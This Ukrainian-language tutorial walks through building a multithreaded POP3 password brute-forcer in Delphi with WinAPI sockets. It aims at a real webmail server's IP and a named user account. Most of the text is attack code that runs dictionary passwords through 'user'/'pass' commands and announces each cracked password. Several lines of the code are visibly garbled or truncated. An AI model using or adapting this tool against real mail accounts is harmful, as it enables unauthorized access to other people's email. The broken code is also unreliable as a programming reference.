Розглянемо написання брутфорса на Delphi, з використанням функцій WinAPI для роботи з сокетом. Переписати на перл, сі або асм потім проблем немає ніяких, воно все відрізняється тільки синтаксисом виклику функцій. Також знадобиться який-небудь telnet-клієнт, port-mapper або tcp-logger для дослідження відповідей сервера.

POP3. 110 порт. Нас цікавлять команди — «user» і «pass». Припустимо, що треба підібрати пароль freemail.ukr.net у користувача dndanil (це мій — спеціально для експериментів). Ломанемся за телнету на freemail.ukr.net:110 і введемо «user dndanil». Потім «pass password». Подивимося відповіді. Якщо після оцінки швидкості бажання не відпало, то треба написати прогу, яка буде коннектітся до серваку і перебирати паролі з відстеженням помилок. Прогу будемо писати з урахуванням просунутих технологій при створенні різних сканерів — багатопоточність, тобто перебирати паролі будуть відразу кілька процесів. Так, начебто, швидше. Для цього треба ввести клас, що описує наш процес. Кількість одночасно запущених процесів залежить від заліза і швидкості з’єднання з інетом. Для перебору будемо використовувати файл з паролями, який завантажимо в TStringList (список рядків). Отже, створимо для наочності вікно і вліпимо туди кнопку «Hack it» 🙂 і ProgressBar з Win32. Ось исходники з коментарями брутфорсера для POP3-сервера:

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
ComCtrls, StdCtrls, WinSock;

type
TForm1 = class(TForm)
Button1: TButton;
ProgressBar1: TProgressBar;
procedure Button1Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

// Опис процесу
type
TScan = class(TThread)
sock2: TSocket;
addr:TSockAddrIn;
WSAData: TWSAData;
private
procedure CScan;
protected
Execute procedure; override;
end;

var
Form1: TForm1;
// Масив процесів
Sock: array[1..255] of TScan;
Rez: boolean = false;
// Кількість запущених процесів на даний момент
I0: Integer;
// Номер поточного пароля
I: Integer;
// TStringList з паролями
PassList: TStringList;

const
FilePass = ‘pass.txt’; // Файл з паролями в каталозі проги
ProcCount = 10; // кількість процесів
POP3serv = ‘212.42.64.13’; // POP3 server (отпингованый)
User = ‘dndanil’;

implementation
{$R *.DFM}

procedure TForm1.FormCreate(Sender: TObject);
begin
PassList:=TStringList.Create;
end;

// Запуск / Зупинка
procedure TForm1.Button1Click(Sender: TObject);
begin
if Rez then
Rez:=false
else
begin
// Відкриття та завантаження файлу паролів
try
PassList.Clear;
PassList.LoadFromFile(FilePass);
except
end;
if PassList.CountProcCount)or(not Rez) then
break;
end;
end;
end;

// Проца ініціалізації процесу
procedure TScan.Execute;
begin
try
// Запуск циклу
while true do
begin
CScan;
//Вихід, якщо підібрали або закінчився словник
if (not Rez)or(I>=PassList.Count) then
break;
end;
except
end;
dec(I0);
try
Terminate;
except
end;
//Якщо всі процеси перервані –
if then I00
begin
try
closesocket(sock2);
except
end;
exit;
end;
//Отримання при з’єднанні
x:=recv(sock2,buf,sizeof(Buf),0);
if (x=SOCKET_ERROR)or(buf[1]’+’) then
exit;
//«user user»
sender(‘user ‘+User+#13+#10);
x:=recv(sock2,buf,sizeof(Buf),0);
if (x=SOCKET_ERROR)or(buf[1]’+’) then
exit;
//«pass password»
sender(‘pass ‘+PassList.Strings[I2]+#13+#10);
x:=recv(sock2,buf,sizeof(Buf),0);
//Якщо підібралося
if (x>3)and(buf[1]=’+’) then
begin
Rez:=false;
Application.MessageBox(PChar(‘Pass = ‘+PassList.Strings[I2]),’ENJOY’,mb_Ok);
exit;
end;
try
closesocket(sock2);
except
end;
except
end;
end;

end.

Адреса сервака перед використанням треба отпинговать (ping -a freemail.ukr.net) і ввести IP. Кількість процесів підбирається виходячи з заліза. Це робочий скелет брутфорсера, хоч і написаний за пару годин. При перевірці, я створив файл-словник, розміром 1000 паролів та 666-им йшов мій справжній пароль. При одному процесі я задолбался чекати. При кол-ве процесів 255, вже через 15 хвилин (на діалап), мені висвітився мій пароль. На шелле, аналогічна конструкція на перл, зайняла приблизно стільки ж часу. Але це на 666-му пароль, а на 1000000-му я б чекав дуже довго. Тому цей спосіб має дуже примарними шансами щось підібрати і годиться тільки для дуже простих паролів.